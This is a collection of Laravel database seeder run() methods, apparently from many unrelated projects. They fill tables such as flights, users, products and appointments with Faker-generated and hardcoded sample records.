"public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }",
"public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }",
"public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }",
"public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }",
"public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }",
"public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }",
"public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }",
"public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }",
"public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }",
"public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }",
"public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}",
"public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }",
"public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}",
"public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }",
"public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }",
"public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }",
"public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }",
"public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }",
"public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }",
"public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }",
"public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}",
"public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }",
"public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }",
"public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }",
"public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }",
"public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }",
"public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }",
"public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }",
"public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }",
"public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }",
"public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }",
"public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }",
"public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }",
"public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }",
"public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }",
"public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }",
"public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }",
"public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }",
"public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }",
"public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }",
"public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }",
"public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}",
"public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }",
"public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }",
"public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }",
"public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }",
"public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }",
